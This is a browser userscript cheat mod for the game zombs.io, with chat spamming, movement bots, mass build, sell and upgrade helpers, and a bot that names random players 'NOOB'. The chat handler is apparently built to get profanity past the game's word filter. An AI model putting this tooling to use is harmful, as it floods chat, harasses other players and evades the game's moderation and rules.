// ==UserScript==
// @name MTE mod
// @namespace -
// @version null
// @description go to gear icon or press [/], !commands for commands
// @author ḵScripts ✔
// @match *://zombs.io/*
// @exclude *://zombs.io/NR*
// ==/UserScript==
var changeChat = true;
var hoverOver;
var mousemove;
addEventListener('mousemove', (e) => {
mousemove = e;
})
function roundTenThousands(x) {
if(x > 10000) {
return x.toString().slice(0, 3) + "00"
} else {
return x.toString()
}
}
function roundMyPosition(e) {
return { x: roundTenThousands( e.getPositionX()),
y: roundTenThousands(e.getPositionY())
}
}
var mouseOverInterval = setInterval(() => {
Object.entries(game.world.entities).forEach((item => {
if(roundMyPosition(item[1]).x == parseInt(roundTenThousands(game.renderer.screenToWorld(mousemove.clientX, mousemove.clientY).x)) && roundMyPosition(item[1]).y == parseInt(roundTenThousands(game.renderer.screenToWorld(mousemove.clientX, mousemove.clientY).y))
) {
hoverOver = 'Hovering over entity: ' + JSON.stringify(item[1].targetTick)
} else {
hoverOver = 'Hovering over no entities.'
}
}))
document.querySelector('#hoverOver').innerText = hoverOver;
}, 100)
var isSpamming = 0;
function pauseChatSpam(e) {
if(!isSpamming) {
if(e == ""){
e = "🤡 Official R Clowns!!! 🤡"
}
window.spammer = setInterval(() => {
game.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: e
})
}, 100)
} else if(isSpamming) {
clearInterval(window.spammer)
}
isSpamming = !isSpamming
}
window.rainbowwww = true
function degreesToYaw(deg) {
let ans;
if((deg - 90) < 90){
ans = deg - 90
} else if(deg == 90){
ans = deg + 90
} else if(deg > 90){
ans = deg + 90
}
if(ans < 0){
ans = Math.abs(ans)
}
}
if(localStorage.timesEhacked == undefined){
localStorage.timesEhacked = 1;
} else {
localStorage.timesEhacked++;
}
document.title = "MTE mod " + localStorage.timesEhacked
var autoRespawn = false
let hue = 10
var settingsRainbow = document.querySelector("#hud-menu-settings")
function changeHue(){
if(window.rainbowwww){
hue+=10
}
}
function getEntitiesByModel(type){
let entities = []
Object.entries(game.world.entities).forEach((item => {
if(item[1].targetTick.model == type){
entities.push(item)
}
}))
return entities;
}
function moveUp(){
game.inputPacketScheduler.scheduleInput({
down: 0,
up: 1
})
}
function moveDown(){
game.inputPacketScheduler.scheduleInput({
up: 0,
down: 1
})
}
function moveLeft(){
game.inputPacketScheduler.scheduleInput({
right: 0,
left: 1
})
}
function moveRight(){
game.inputPacketScheduler.scheduleInput({
left: 0,
right: 1
})
}
var danceCounter = 0
var danceRandom = true
var botMode = false
var mineInterval = setInterval(() => {
if(botMode){
if(parseInt((getEntitiesByModel('Tree')[0][1].targetTick.position.x - game.world.getEntityByUid(game.world.getMyUid()).targetTick.position.x).toString().replaceAll('-', '')) < 250){
game.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "Tree @ Angle (in radians): " + getNearestTreeAngle()
})
danceRandom = false;
} else {
danceRandom = true;
}
if(parseInt((getEntitiesByModel('Stone')[0][1].targetTick.position.x - game.world.getEntityByUid(game.world.getMyUid()).targetTick.position.x).toString().replaceAll('-', '')) < 250){
game.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "Stone @ Angle (in radians): " + getNearestStoneAngle()
})
}
}
}, 100)
var danceInterval = setInterval(() => {
if(botMode){
if(danceCounter < moves.length){
moves[danceCounter]()
if(danceRandom){
danceCounter = Math.floor(Math.random() * moves.length)
} else {
danceCounter++
}
} else {
danceCounter = 0;
}
}
}, 500)
var respawnInterval = setInterval(() => {
if(document.querySelector('.hud-respawn').style.display == "block" && autoRespawn) {
game.inputPacketScheduler.scheduleInput({
respawn: 1
})
document.querySelector('.hud-respawn').style.display = "none"
}
}, 10)
var moves = [moveUp, moveRight, moveDown, moveLeft]
function getNearestStoneAngle(){
return Math.atan2(game.world.entities[game.world.getMyUid()].targetTick.position.y - getEntitiesByModel('Stone')[0][1].targetTick.position.y / 2, game.world.entities[game.world.getMyUid()].targetTick.position.x - getEntitiesByModel('Stone')[0][1].targetTick.position.x)
}
function getNearestTreeAngle(){
return Math.atan2(game.world.entities[game.world.getMyUid()].targetTick.position.y - getEntitiesByModel('Tree')[0][1].targetTick.position.y / 2, game.world.entities[game.world.getMyUid()].targetTick.position.x - getEntitiesByModel('Tree')[0][1].targetTick.position.x)
}
function scanServer(){
var current = []
Object.entries(game.ui.getComponent('Leaderboard').playerNames).forEach((item => {
current.push(item)
}))
return JSON.stringify(current)
}
var leaveChats = ['POP', 'BING', 'TONG', 'RIIING', 'POOF']
function leaveChat(){
let counter = 0;
window.leaveChatInterval = setInterval(() => {
if(counter < leaveChats.length){
doNewSend(['ch', [leaveChats[counter]]])
counter++
}
else{
counter = 0;
clearInterval(window.leaveChatInterval)
Game.currentGame.network.disconnect()
}
}, 1500)
}
window.startaito = false;
let server = -1;
for (let i in game.options.servers) {
server += 1;
document.getElementsByClassName("hud-intro-server")[0][server].innerHTML = game.options.servers[i].name + ", Population: {" + Math.round(game.options.servers[i].population/3.125) + "/32}";
}
window.useSamePI = false
addEventListener('keyup', function(e){
if(e.key == "`" && !_isInChatbox){
game.inputManager.onKeyRelease({
keyCode: 117
})
}
}) // debug info
var bw1 = "😈 Boss Waves [1/2]: 9, 17, 25, 33, 41, 49, 57, 65, 73, 81 😈"
var bw2 = "😈 Boss Waves [2/2]: 89, 97, 105, 121 😈"
window.ajsd = Math.random().toString().slice(0, 6)
console.log(window.ajsd)
var users = [
{
"name": "☭ 𝑒𝒽 ✨ ツ ✓",
"roles": ['Owner', 'Admin']
}, {
"name": "u7🤗ツ✔",
"roles": ['Co-Owner', 'Admin']
}, {
"name": "☢₦Ʉ₵ⱠɆ₳Ɽ☣✔",
"roles": ['Co-Owner', 'Admin']
}, {
"name": "⦕NR⦖☭𝑒𝒽✨ツ✓",
"roles": ['Owner', 'Admin']
}, {
"name": "Potato Bot",
"roles": ['Admin', 'Leaker']
}, {
"name": "▶ℛ√•Ⓑ.Raider ✔",
"roles": ['Admin', 'Co-Owner']
}, {
"name": "Yazeet",
"roles": ['Stealer']
}
]
var q = [{
word: "is",
answers: ['Naw', 'Yup.'],
random: true
}, {
word: "will",
answers: ['Outlook good.', 'Perhaps.', 'Yup.', 'Naw'],
random: true
}, {
word: "when",
answers: ['Soon.', 'Never.'],
random: true
}, {
word: "are",
answers: ['Yup.', 'Naw', 'Perhaps.'],
random: true
}]
let ppInterval = setInterval( () => { // show private parties
if(document.querySelector('#showpp').checked){
document.querySelectorAll('.hud-party-link').forEach((elem => {
if(elem.style.display == "none"){
elem.style.display = "block"
elem.childNodes[0].innerText = elem.childNodes[0].innerText + "[PRIVATE]"
elem.addEventListener('click', function(){
game.ui.getComponent('PopupOverlay').showHint('Cannot join this party as it is private', 1e4)
})
}}))
}
}, 1000) // show private parties
window.lpSave = []
var altSpace = " " // alternate space character
String.prototype.multiChatSpaces = function(){
return this.replaceAll(' ', altSpace)
}
var chatAnims = {
makeRect: [
"________________________",
"| |",
"________________________"
],
makeCircle: [
" ╱‾‾‾‾‾╲",
" / \x5c",
" | |",
" \x5c /",
" ╲_____╱"
]
} // :D
window.use_di = true;
window.isInMenu = false;
function doorWall(){
var stashPosition = getGoldStash()
PlaceBuilding(stashPosition.x + 0, stashPosition.y + 0, 'GoldStash', 180);PlaceBuilding(stashPosition.x + -96, stashPosition.y + -96, 'GoldMine', 180);PlaceBuilding(stashPosition.x + 0, stashPosition.y + -96, 'GoldMine', 180);PlaceBuilding(stashPosition.x + 96, stashPosition.y + -96, 'GoldMine', 180);PlaceBuilding(stashPosition.x + 96, stashPosition.y + -192, 'GoldMine', 180);PlaceBuilding(stashPosition.x + 0, stashPosition.y + -192, 'GoldMine', 180);PlaceBuilding(stashPosition.x + -96, stashPosition.y + -192, 'GoldMine', 180);PlaceBuilding(stashPosition.x + -96, stashPosition.y + -288, 'GoldMine', 180);PlaceBuilding(stashPosition.x + -24, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -72, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -120, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -168, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -216, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -264, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -312, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -360, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -408, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -456, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -504, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -552, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 24, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 72, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 120, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 168, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 216, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 264, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -600, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -648, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -696, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -744, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -792, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -792, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -744, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -696, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -648, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -600, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -552, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -504, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -456, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -408, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -360, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -312, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -264, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -216, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -168, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -120, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -72, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + -24, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 24, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 72, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 120, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 168, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 216, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 264, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 312, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 360, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 408, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 456, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 504, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 552, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 600, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 648, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 696, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 744, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 792, 'Door', 180);PlaceBuilding(stashPosition.x + -840, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -792, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -744, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -696, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -648, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -600, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -552, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -504, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -456, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -408, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -360, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -216, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -168, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -72, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 24, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -312, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -264, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -120, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + -24, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 72, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 120, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 168, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 216, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 264, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 312, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 360, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 456, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 408, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 504, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 552, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 600, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 648, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 696, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 744, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 792, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 840, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 792, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 744, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 696, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 648, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 600, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 552, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 504, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 456, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 408, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 360, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 312, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 264, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 216, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 168, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 120, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 72, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + 24, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -24, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -72, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -168, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -264, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -312, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -360, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -408, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -456, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -504, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -552, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -600, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -648, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -216, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -120, 'Door', 180);PlaceBuilding(stashPosition.x + 312, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 360, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 408, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 456, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 504, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 552, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 600, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 648, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 696, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 744, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 792, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -840, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -792, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -744, 'Door', 180);PlaceBuilding(stashPosition.x + 840, stashPosition.y + -696, 'Door', 180);
}
var animChat = {
makeRect: function(){
let counter = 0;
let rectInterval = setInterval( () => {
if(counter<chatAnims.makeRect.length){
doNewSend(['ch', [chatAnims.makeRect[counter].multiChatSpaces()]])
counter++
}
else{
counter = 0
clearInterval(rectInterval)
}
}, 3000)
},
makeCircle: function(){
let counter = 0;
let circleInterval = setInterval( () => {
if(counter<chatAnims.makeCircle.length){
doNewSend(['ch', [chatAnims.makeCircle[counter].multiChatSpaces()]])
counter++
}
else{
counter = 0
clearInterval(circleInterval)
}
}, 3000)
}
}
function btnChatCircle(){
animChat.makeCircle()
}
function btnChatRect(){
animChat.makeRect()
}
function upgradeAll(){
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
doNewSend(['ch', ['♦️ Upgraded All! ♦️']])
}
function movePlayer(e){
if(!_isInChatbox){
switch(e.toLowerCase().replaceAll(' ', '')){
case "a":
Game.currentGame.network.sendInput({
left: 1
})
break;
case "d":
Game.currentGame.network.sendInput({
right: 1
})
break;
case "w":
Game.currentGame.network.sendInput({
up: 1
})
break;
case "s":
Game.currentGame.network.sendInput({
down: 1
})
break;
}
}
}
var emojis = [{
text: ":happy:",
char: "😄"
}, {
text: ":sad:",
char: "😥"
}, {
text: ":angry:",
char: "😠"
}, {
text: ":laughing:",
char: "😂"
}, {
text: ":stop:",
char: "🛑"
}, {
text: ":revenge:",
char: "😈"
}, {
text: ":smiley:",
char: "ヅ"
}]
function heal() {
Game.currentGame.network.sendRpc({
"name": "BuyItem",
"itemName": "HealthPotion",
"tier": 1
})
Game.currentGame.network.sendRpc({
"name": "EquipItem",
"itemName": "HealthPotion",
"tier": 1
})
Game.currentGame.network.sendRpc({
"name": "BuyItem",
"itemName": "PetHealthPotion",
"tier": 1
})
Game.currentGame.network.sendRpc({
"name": "EquipItem",
"itemName": "PetHealthPotion",
"tier": 1
})
}
function getGoldStash(){
let entities = Game.currentGame.ui.buildings
for (let uid in entities) {
if (!entities.hasOwnProperty(uid)) {
continue
}
let obj = entities[uid]
if (obj.type == "GoldStash") {
return obj
}
}
}
function PlaceBuilding(x, y, building, yaw) {
Game.currentGame.network.sendRpc({
name: "MakeBuilding",
x: x,
y: y,
type: building,
yaw: yaw
})
}
var isBowing = false;
var slotChars = [{
char: "7️⃣",
value: 33
}, {
char: "🍎",
value: 10
}, {
char: "🍔",
value: 25
}, {
char: "🥓",
value: 15
}, {
char: "⚽",
value: 12
}, {
char: "🐾",
value: 10
}, {
char: "1️⃣",
value: 27
}, {
char:"💡",
value: 30
}]
console.log(slotChars)
window.generateSlots = function(){ // fp is the returned array, fs is the joined | fp string, pp is the score
let fp = [];
let fs = "";
let pp = 0;
var f1 = slotChars[Math.floor(Math.random() * slotChars.length)]
fp.push(f1.char)
pp+=f1.value
var f2 = slotChars[Math.floor(Math.random() * slotChars.length)]
fp.push(f2.char)
pp+=f2.value
var f3 = slotChars[Math.floor(Math.random() * slotChars.length)]
fp.push(f3.char)
pp+=f3.value
fs = [fp.join('|'), pp + " / 99"]
return fs;
}
function ahrc1(){ // 1 ahrc (collect and refuel), used in lpinterval
var entities = Game.currentGame.world.entities
for(let uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
let obj = entities[uid];
Game.currentGame.network.sendRpc({
name: "CollectHarvester",
uid: obj.fromTick.uid
});
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 1) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.07
});
}
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 2) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.11
});
}
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 3) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.17
});
}
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 4) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.22
});
}
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 5) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.25
});
}
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 6) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.28
});
}
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 7) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.42
});
}
if(obj.fromTick.model == "Harvester" && obj.fromTick.tier == 8) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.65
});
}
}
}
var lpinterval = setInterval(function(){ // loaded player info, ahrc, isInMenu, noob = chatbot
document.querySelector('#lpi').innerText = "Loaded Player Info: " + JSON.stringify(window.loadedIDS())
if(window.ahrc){
ahrc1()
}
window.isInMenu = document.querySelector('#hud-menu-settings').style.display == "block" ? true : false
if((window.lpSave[window.lpSave.length - 1] !== loadedPlayers()[loadedPlayers().length - 1]) && document.querySelector('#noobchat').checked){
doNewSend(['ch', ['NOOB = ' + loadedPlayers()[Math.floor(Math.random() * loadedPlayers().length)]]])
window.lpSave = loadedPlayers()
}
document.querySelector("#hud-menu-party > div.hud-party-grid > div.hud-party-joining").style.display = "none"
}, 100)
// enable/disable chat
// 🟩 🟥
function enDisAbleEmj(bool, txt){
return bool ? "🟩 " + txt + " Enabled 🟩" : "🟥 " + txt + " Disabled 🟥"
}
// disable enable in chat
window.cmdsEnabled = true
// these are all button event listeners --->
function toggleCmds(){
window.cmdsEnabled = !window.cmdsEnabled
if(changeChat) {
doNewSend(['ch', [enDisAbleEmj(window.cmdsEnabled, "Commands")]])
}
document.querySelector('#togglecmd').innerText = window.cmdsEnabled ? "Disable Commands" : "Enable Commands"
}
function sellAll(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model !== "GoldStash") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold All 💰']])
}
function sellWalls(){
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "Wall") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
doNewSend(['ch', ['💰 Sold Walls 💰']])
}
function sellBombTowers(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "BombTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Bomb Towers 💰']])
}
function sellGoldMines(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "GoldMine") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Gold Mines 💰']])
}
function sellArrowTowers(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "ArrowTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Arrow Towers 💰']])
}
function sellSlowTraps(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "SlowTrap") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Slow Traps 💰']])
}
function sellCannonTowers(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "CannonTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Cannon Towers 💰']])
}
function sellMageTowers(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "MagicTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Mage Towers 💰']])
}
function sellMeleeTowers(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "MeleeTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Melee Towers 💰']])
}
function sellHarvesters(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "Harvester") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Harvesters 💰']])
}
function sellDoors(){
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "Door") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
doNewSend(['ch', ['💰 Sold Doors 💰']])
}
// <--- end of button event listeners
//
document.querySelector('.hud-chat-input').addEventListener('keypress', function(e){
emojis.forEach((item => {
this.value = this.value.replaceAll(item.text, item.char)
}))
if(e.keyCode == 13){ // exclude commands and html entities
this.value = this.value.replaceAll('fuck', 'fuck').replaceAll('FUCK', 'FUCK').replaceAll('shit', 'shit').replaceAll('SHIT', 'SHIT').replaceAll('bitch', 'bitch').replaceAll('BITCH', 'BITCH').replaceAll('ass', 'ass').replaceAll('ASS', 'ASS').replaceAll('dick', 'dick').replaceAll('DICK', "DICK").slice(0, 63) // anti censor C:
if(this.value.includes('nigg') || this.value.includes('niga')){
this.value = "I am a building, don't be racist"
}
}
})
var insults = ["you smooth brained potato", "you rotten pumpkin brain", "you soggy zuicini", "you watered down banana", "you're orange juice toothpaste flavored"] // just an array of insults
// menu stuff (defining & appending) --->
var settingsHTML = `
<h3>𝖊𝕳𝖆𝕮𝖐</h3>
<hr>
<input type="text" id="spamchat" placeholder="Message" class="menu-textbox">
<br>
<button class="btn btn-purple ehack-btn" style="border-radius:25%" id="spamchatbtn">Split Chat</button>
<br>
